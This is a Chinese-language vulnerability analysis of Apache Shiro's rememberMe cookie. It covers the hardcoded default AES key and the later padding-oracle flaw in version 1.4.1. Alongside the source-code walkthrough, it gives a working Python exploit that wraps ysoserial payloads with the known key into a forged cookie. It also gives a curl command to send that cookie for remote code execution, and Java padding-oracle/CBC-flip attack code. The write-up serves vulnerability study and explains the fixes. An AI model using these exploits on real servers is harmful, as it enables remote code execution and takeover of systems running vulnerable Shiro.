通过调用SimpleCookie的readValue()方法读取了一个base64的cookie值
public static final String DEFAULT_REMEMBER_ME_COOKIE_NAME = "rememberMe"; private Cookie cookie; /** * Constructs a new {@code CookieRememberMeManager} with a default {@code rememberMe} cookie template. */ public CookieRememberMeManager() { Cookie cookie = new SimpleCookie(DEFAULT_REMEMBER_ME_COOKIE_NAME); cookie.setHttpOnly(true); //One year should be long enough - most sites won't object to requiring a user to log in if they haven't visited //in a year: cookie.setMaxAge(Cookie.ONE_YEAR); this.cookie = cookie; }
通过审阅CookieRememberMeManager源码可以发现,该cookie名为rememberMe
private String ensurePadding(String base64) { int length = base64.length(); if (length % 4 != 0) { StringBuilder sb = new StringBuilder(base64); for (int i = 0; i < length % 4; ++i) { sb.append('='); } base64 = sb.toString(); } return base64; }
接着通过调用ensurePadding()方法,如果rememberMe的base64值不符合规范,就会对其进行=符号的补充
最后调用byte[] decoded = Base64.decode(base64);
对其base64解码返回
回到方法getRememberedPrincipals()
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = getRememberedSerializedIdentity(subjectContext); //SHIRO-138 - only call convertBytesToPrincipals if bytes exist: if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
接着是对base64解码后的数据执行convertBytesToPrincipals()方法,看名称,其实表达了很清晰的含义了,就是把字节数据转换为凭证
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (getCipherService() != null) { bytes = decrypt(bytes); } return deserialize(bytes); }
其中decrypt()方法就是对其进行ASE解密,然后由deserialize()方法对其解密数据进行反序列化
protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
这里有一个很关键的地方,也是这个远古漏洞造成的原因,就是getDecryptionCipherKey()方法
public byte[] getDecryptionCipherKey() { return decryptionCipherKey; }
它返回了一个AES解密的key,通过跟踪其设置的代码,可以跟到
public void setCipherKey(byte[] cipherKey) { //Since this method should only be used in symmetric ciphers //(where the enc and dec keys are the same), set it on both: setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); }
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); public AbstractRememberMeManager() { this.serializer = new DefaultSerializer<PrincipalCollection>(); this.cipherService = new AesCipherService(); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); }
没错,这个AES解密的key在默认情况下,是一个预置的值,那么到这里,这个漏洞的成因以及完全剖析结束了,那么,我们试试效果?
这是我测试的exploits:
import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES def encode_rememberme(payload,command): popen = subprocess.Popen(['java', '-jar', '../ysoserial/ysoserial-0.0.6-SNAPSHOT-all.jar', payload, command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC #iv = base64.b64decode(rememberMe)[:16] iv = uuid.uuid4().bytes print(iv) encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': print(sys.argv[1],sys.argv[2]) payload = encode_rememberme(sys.argv[1],sys.argv[2]) with open("payload.cookie", "w") as fpw: print("rememberMe={}".format(payload.decode()), file=fpw) ~
通过这个exp,就能生成攻击的cookie,最后使用这个cookie,就能达到RCE
curl -d "" "http://A.B.C.D:8080/login" --cookie "`cat payload.cookie`"
漏洞的修复:
在爆出这样的一个漏洞后,shiro官方的修复手段也很简单,就是让shiro每次启动,都会随机生成一个新的key作为AES解密的key,从而修复这个远古洞。
public AbstractRememberMeManager() { this.serializer = new DefaultSerializer<PrincipalCollection>(); AesCipherService cipherService = new AesCipherService(); this.cipherService = cipherService; setCipherKey(cipherService.generateNewKey().getEncoded()); }
在好几年前的远古洞被修复之后,为何在前段时间,又爆出了新的RCE洞,而且还是在AES这个地方。
基本上,玩过CTF的人,大部分都了解过padding oracle和cbc翻转攻击,如果不太了解的,我建议看看《我对Padding Oracle攻击的分析和思考(详细)》这个文章。
要进行padding oracle攻击,需要目标系统满足一个条件,就是对于ASE解密时padding的正确与否,目标会返回一个明确的信息,类似布尔盲注。
我们转到被爆出漏洞的shiro版本(1.4.1)源码
回到org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals这个方法
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = getRememberedSerializedIdentity(subjectContext); //SHIRO-138 - only call convertBytesToPrincipals if bytes exist: if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
我这里列出一条执行方法栈
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (getCipherService() != null) { bytes = decrypt(bytes); } return deserialize(bytes); }
->
protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
->
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException { byte[] encrypted = ciphertext; //No IV, check if we need to read the IV from the stream: byte[] iv = null; if (isGenerateInitializationVectors(false)) { try { //We are generating IVs, so the ciphertext argument array is not actually 100% cipher text. Instead, it //is: // - the first N bytes is the initialization vector, where N equals the value of the // 'initializationVectorSize' attribute. // - the remaining bytes in the method argument (arg.length - N) is the real cipher text. //So we need to chunk the method argument into its constituent parts to find the IV and then use //the IV to decrypt the real ciphertext: int ivSize = getInitializationVectorSize(); int ivByteSize = ivSize / BITS_PER_BYTE; //now we know how large the iv is, so extract the iv bytes: iv = new byte[ivByteSize]; System.arraycopy(ciphertext, 0, iv, 0, ivByteSize); //remaining data is the actual encrypted ciphertext. Isolate it: int encryptedSize = ciphertext.length - ivByteSize; encrypted = new byte[encryptedSize]; System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize); } catch (Exception e) { String msg = "Unable to correctly extract the Initialization Vector or ciphertext."; throw new CryptoException(msg, e); } } return decrypt(encrypted, key, iv); }
->
private byte[] crypt(byte[] bytes, byte[] key, byte[] iv, int mode) throws IllegalArgumentException, CryptoException { if (key == null || key.length == 0) { throw new IllegalArgumentException("key argument cannot be null or empty."); } javax.crypto.Cipher cipher = initNewCipher(mode, key, iv, false); return crypt(cipher, bytes); }
->
private byte[] crypt(javax.crypto.Cipher cipher, byte[] bytes) throws CryptoException {
try {
return cipher.doFinal(bytes);
} catch (Exception e) {
String msg = "Unable to execute 'doFinal' with cipher instance [" + cipher + "].";
throw new CryptoException(msg, e);
}
}
这个执行栈有点长,但最终执行到最后一步crypt()方法时,如果解密出现padding错误的话,就会直接抛出异常throw new CryptoException(msg, e);
,一直向上,直到我们刚刚说的getRememberedPrincipals()方法,接着被try、catch捕获异常,由onRememberedPrincipalFailure()方法进行处理
跟进其方法发现,forgetIdentity()方法在当前的AbstractRememberMeManager类并没有实现
protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) { if (log.isWarnEnabled()) { String message = "There was a failure while trying to retrieve remembered principals. This could be due to a " + "configuration problem or corrupted principals. This could also be due to a recently " + "changed encryption key, if you are using a shiro.ini file, this property would be " + "'securityManager.rememberMeManager.cipherKey' see: http://shiro.apache.org/web.html#Web-RememberMeServices. " + "The remembered identity will be forgotten and not used for this request."; log.warn(message); } forgetIdentity(context); //propagate - security manager implementation will handle and warn appropriately throw e; }
跟进其实现类org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity(org.apache.shiro.subject.SubjectContext)
public void forgetIdentity(SubjectContext subjectContext) { if (WebUtils.isHttp(subjectContext)) { HttpServletRequest request = WebUtils.getHttpRequest(subjectContext); HttpServletResponse response = WebUtils.getHttpResponse(subjectContext); forgetIdentity(request, response); } }
private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) { getCookie().removeFrom(request, response); }
可以看到,最后调用的是rememberMe这个cookie对应的SimpleCookie对象的removeFrom()方法
public static final String DELETED_COOKIE_VALUE = "deleteMe"; public void removeFrom(HttpServletRequest request, HttpServletResponse response) { String name = getName(); String value = DELETED_COOKIE_VALUE; String comment = null; //don't need to add extra size to the response - comments are irrelevant for deletions String domain = getDomain(); String path = calculatePath(request); int maxAge = 0; //always zero for deletion int version = getVersion(); boolean secure = isSecure(); boolean httpOnly = false; //no need to add the extra text, plus the value 'deleteMe' is not sensitive at all SameSiteOptions sameSite = null; addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly, sameSite); log.trace("Removed '{}' cookie by setting maxAge=0", name); }
很简单,源码可以看出来,覆盖掉了rememberMe这个cookie的值为deleteMe
那么,答案就呼之欲出了,只要padding错误,服务端就会返回一个cookie: rememberMe=deleteMe;
那么,上面讲述了padding错误的返回特征后,那么padding正确的特征到底是如何呢?
因为java原生的反序列化,是按照约定的格式读取序列化数据,一步一步反序列化的,那么也就是说,我如果在序列化数据后面加入一些数据,是不会影响反序列化的,这里可以参考一下《浅析Java序列化和反序列化》
那么,既然在序列化数据后面加上一段数据,不会影响反序列化,也就是说,我们可以利用一个已有的rememberMe cookie值(AES加密的序列化数据),在其后加入一段数据,只要ASE能正确解密数据,就必然能被反序列化。
也就是说,在padding正常的情况下,反序列化能正常进行,web系统能知道我们的身份,在启用RememberMe,也就是配置了user的filter chain的接口或页面,就能正常的返回数据。
为什么说 配置了user的filter chain的接口或页面,就能正常的返回数据 ?
我们回到最初的org.apache.shiro.web.servlet.AbstractShiroFilter#doFilterInternal处,在创建完成Subject后,我们说过,会执行一个filter chain
subject.execute(new Callable() {
public Object call() throws Exception {
updateSessionLastAccessTime(request, response);
executeChain(request, response, chain);
return null;
}
});
跟进其executeChain()方法
protected void executeChain(ServletRequest request, ServletResponse response, FilterChain origChain)
throws IOException, ServletException {
FilterChain chain = getExecutionChain(request, response, origChain);
chain.doFilter(request, response);
}
其中比较关心的是getExecutionChain()方法,通过调用这个方法,返回了一个FilterChain,然后执行其doFilter()方法过滤请求
protected FilterChain getExecutionChain(ServletRequest request, ServletResponse response, FilterChain origChain) {
FilterChain chain = origChain;
FilterChainResolver resolver = getFilterChainResolver();
if (resolver == null) {
log.debug("No FilterChainResolver configured. Returning original FilterChain.");
return origChain;
}
FilterChain resolved = resolver.getChain(request, response, origChain);
if (resolved != null) {
log.trace("Resolved a configured FilterChain for the current request.");
chain = resolved;
} else {
log.trace("No FilterChain configured for the current request. Using the default.");
}
return chain;
}
到这里,我们应该隐约还有一些前面讲的内容的记忆吧?。。。没错,就是FilterChainResolver的实现PathMatchingFilterChainResolver,这里就是对其进行调用的地方了,通过调用其getChain()方法,找到相应的过滤器链执行过滤请求,那么,上面所说的user,对应的filter就是UserFilter
public class UserFilter extends AccessControlFilter {
/**
* Returns <code>true</code> if the request is a
* {@link #isLoginRequest(javax.servlet.ServletRequest, javax.servlet.ServletResponse) loginRequest} or
* if the current {@link #getSubject(javax.servlet.ServletRequest, javax.servlet.ServletResponse) subject}
* is not <code>null</code>, <code>false</code> otherwise.
*
* @return <code>true</code> if the request is a
* {@link #isLoginRequest(javax.servlet.ServletRequest, javax.servlet.ServletResponse) loginRequest} or
* if the current {@link #getSubject(javax.servlet.ServletRequest, javax.servlet.ServletResponse) subject}
* is not <code>null</code>, <code>false</code> otherwise.
*/
protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) {
if (isLoginRequest(request, response)) {
return true;
} else {
Subject subject = getSubject(request, response);
// If principal is not null, then the user is known and should be allowed access.
return subject.getPrincipal() != null;
}
}
/**
* This default implementation simply calls
* {@link #saveRequestAndRedirectToLogin(javax.servlet.ServletRequest, javax.servlet.ServletResponse) saveRequestAndRedirectToLogin}
* and then immediately returns <code>false</code>, thereby preventing the chain from continuing so the redirect may
* execute.
*/
protected boolean onAccessDenied(ServletRequest request, ServletResponse response) throws Exception {
saveRequestAndRedirectToLogin(request, response);
return false;
}
}
重点在isAccessAllowed()方法,判断了请求是否是登录请求,若是,则直接通过,否则会从上下文中取出前面创建的Subject,其中含有前面反序列化rememberMe解密数据得到的PrincipalCollection,也就是说,只要能正常反序列化成功,那么这里就会直接通过。
从这里我们就可以知道,我们为什么需要一个配置为user的接口或者页面了。
好了,两个最重要的条件就出来了:
如果我们要进行padding oracle攻击,那我们只要判断响应头是否包含有cookie: rememberMe=deleteMe;,就能确定padding是否正常了。
那padding oracle究竟如何去实现呢?这里我推荐p0's师傅的文章《Shiro Padding Oracle Attack 反序列化》
我这里也自己手撸了一个Java版的shiro padding oracle cbc attack exploits,放在marshalsec,大家可以参考一下,https://github.com/threedr3am/marshalsec
熟悉Java代码的,很容易能看出来,下面的代码,每一轮padding爆破是把一个data数据拼接到原有的rememberMe cookie,然后请求web服务端,根据其响应做出判断
private void attack(byte[] bytes) {
byte[] originRememberMe = Base64.getDecoder().decode(rememberMe.getBytes());
CBCResult cbcResult = PaddingOracleCBCForShiro
.paddingOracleCBC(bytes, data -> {
try {
byte[] newRememberMe = new byte[originRememberMe.length + data.length];
System.arraycopy(originRememberMe, 0, newRememberMe, 0, originRememberMe.length);
System.arraycopy(data, 0, newRememberMe, originRememberMe.length, data.length);
return request(newRememberMe);
} catch (Exception e) {
e.printStackTrace();
}
return false;
});
byte[] remenberMe = new byte[cbcResult.getIv().length + cbcResult.getCrypt().length];
System.arraycopy(cbcResult.getIv(), 0, remenberMe, 0, cbcResult.getIv().length);
System.arraycopy(cbcResult.getCrypt(), 0, remenberMe, cbcResult.getIv().length,
cbcResult.getCrypt().length);
System.out.println("remenberMe=" + Base64.getEncoder().encodeToString(remenberMe));
request(remenberMe);
}
而下面的代码,就是像荐p0's师傅文章所说的,不断用两个block,去padding oracle,得到middle后,接着进行cbc翻转攻击,把我们预期要解密出cbcResBytes,也就是一个序列化的攻击payload,一段段的利用cbc翻转,得到相应的密文,接着存储到res这个数值,在全部都遍历攻击完毕后,通过CBCResult这个对象返回
public static CBCResult paddingOracleCBC(byte[] cbcResBytes,
Predicate<byte[]> predicate) {
//填充期望结果长度为16字节的倍数
cbcResBytes = padding(cbcResBytes);
System.out.println("[payload-length]:" + cbcResBytes.length);
//该值为期望结果的组数-1,用于不断反向取出每组期望值去CBC攻击
int cbcResGroup = cbcResBytes.length / 16;
byte[] res = new byte[cbcResBytes.length];
byte[] iv = new byte[16];
byte[] crypt = new byte[16];
int paddingLen = 0;
for (; cbcResGroup > 0; cbcResGroup--) {
System.out.println("[padding-length]:" + (paddingLen+=16) + "/" + cbcResBytes.length);
byte[] middle = paddingOracle(iv, crypt, predicate);
byte[] plain = generatePlain(iv, middle);
byte[] plainTmp = Arrays.copyOf(plain, plain.length);
plainTmp = unpadding(plainTmp);
System.out.println("[plain]:" + new String(plainTmp));
byte[] cbcResTmp = Arrays.copyOfRange(cbcResBytes, (cbcResGroup - 1) * 16, cbcResGroup * 16);
//构造新的iv,cbc攻击
byte[] ivBytesNew = cbcAttack(iv, cbcResTmp, plain);
System.out.println("[cbc->plain]:" + new String(generatePlain(ivBytesNew, middle)));
System.arraycopy(crypt, 0, res, (cbcResGroup - 1) * 16, 16);
crypt = ivBytesNew;
iv = new byte[iv.length];
}
return new CBCResult(crypt, res);
}
我对Padding Oracle攻击的分析和思考(详细):https://www.freebuf.com/articles/web/15504.html
Shiro Padding Oracle Attack 反序列化:https://p0sec.net/index.php/archives/126/
浅析Java序列化和反序列化:https://xz.aliyun.com/t/3847
marshalsec:https://github.com/threedr3am/marshalsec